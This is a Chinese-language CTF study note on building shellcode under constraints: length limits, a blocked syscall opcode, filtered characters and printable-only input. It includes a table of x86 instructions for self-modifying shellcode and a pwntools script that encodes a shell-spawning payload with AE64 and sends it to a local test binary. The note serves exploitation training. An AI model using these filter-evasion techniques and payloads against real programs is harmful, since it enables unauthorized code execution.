受限制的shellcode
[TOC] 这篇博客不错
shellcode字长受限
一种解决方法是先写入read函数然后再read任意长度的shellcode
无法使用syscall
- 发现syscall是用不了的,也就是无法使用\x0f\x05,于是所有的都分析完了在这里卡住了,但实际上shellcode不是只能用syscall,只要能合理的利用栈上的残留数据,通过加减相对应的偏移,然后call这个地方,仍然可以执行elf或libc的函数
限制了某些字符
这种一般限制了字符,通过sub、add、xor等指令来绕过 调用syscall很多通过xor,先把数字写入栈上(也可以是别的空间)再xor就可以把这个位置变为\x0f\x05 一些常见指令的机械码: syscall \x0f\x05 ret \xc3
所以考查的是我们用上面有限的汇编指令编写出可用的shellcode,基本思想:mov a,b 用 push b;pop a替换;而像int 0x80 ; syscall这种则通过xor sub and inc dec运算来操作shellcode使之变成我们要的指令
1.数据传送: push/pop eax… pusha/popa
2.算术运算: inc/dec eax… sub al, 立即数 sub byte ptr [eax… + 立即数], al dl… sub byte ptr [eax… + 立即数], ah dh… sub dword ptr [eax… + 立即数], esi edi sub word ptr [eax… + 立即数], si di sub al dl…, byte ptr [eax… + 立即数] sub ah dh…, byte ptr [eax… + 立即数] sub esi edi, dword ptr [eax… + 立即数] sub si di, word ptr [eax… + 立即数]
3.逻辑运算: and al, 立即数 and dword ptr [eax… + 立即数], esi edi and word ptr [eax… + 立即数], si di and ah dh…, byte ptr [ecx edx… + 立即数] and esi edi, dword ptr [eax… + 立即数] and si di, word ptr [eax… + 立即数]
xor al, 立即数 xor byte ptr [eax… + 立即数], al dl… xor byte ptr [eax… + 立即数], ah dh… xor dword ptr [eax… + 立即数], esi edi xor word ptr [eax… + 立即数], si di xor al dl…, byte ptr [eax… + 立即数] xor ah dh…, byte ptr [eax… + 立即数] xor esi edi, dword ptr [eax… + 立即数] xor si di, word ptr [eax… + 立即数]
4.比较指令: cmp al, 立即数 cmp byte ptr [eax… + 立即数], al dl… cmp byte ptr [eax… + 立即数], ah dh… cmp dword ptr [eax… + 立即数], esi edi cmp word ptr [eax… + 立即数], si di cmp al dl…, byte ptr [eax… + 立即数] cmp ah dh…, byte ptr [eax… + 立即数] cmp esi edi, dword ptr [eax… + 立即数] cmp si di, word ptr [eax… + 立即数]
5.转移指令: push 56h pop eax cmp al, 43h jnz lable
<=> jmp lable
6.交换al, ah push eax xor ah, byte ptr [esp] // ah ^= al xor byte ptr [esp], ah // al ^= ah xor ah, byte ptr [esp] // ah ^= al pop eax
7.清零: push 44h pop eax sub al, 44h ; eax = 0
push esi push esp pop eax xor [eax], esi ; esi = 0
只允许在可见字符
AE64,具体的细节上网搜索即可
def encode(self, shellcode: bytes, register: str = 'rax', offset: int = 0, strategy: str = 'fast') -> bytes:
"""
encode given shellcode into alphanumeric shellcode (amd64 only)
@param shellcode: bytes format shellcode
@param register: the register contains shellcode pointer (can with offset) (default=rax)
@param offset: the offset (default=0)
@param strategy: encode strategy, can be "fast" or "small" (default=fast)
@return: encoded shellcode
"""
from pwn import *
from ae64 import AE64
context.log_level = 'debug'
context.arch = 'amd64'
p = process('./example1')
obj = AE64()
sc = obj.encode(asm(shellcraft.sh()),'r13')
p.sendline(sc)
p.interactive()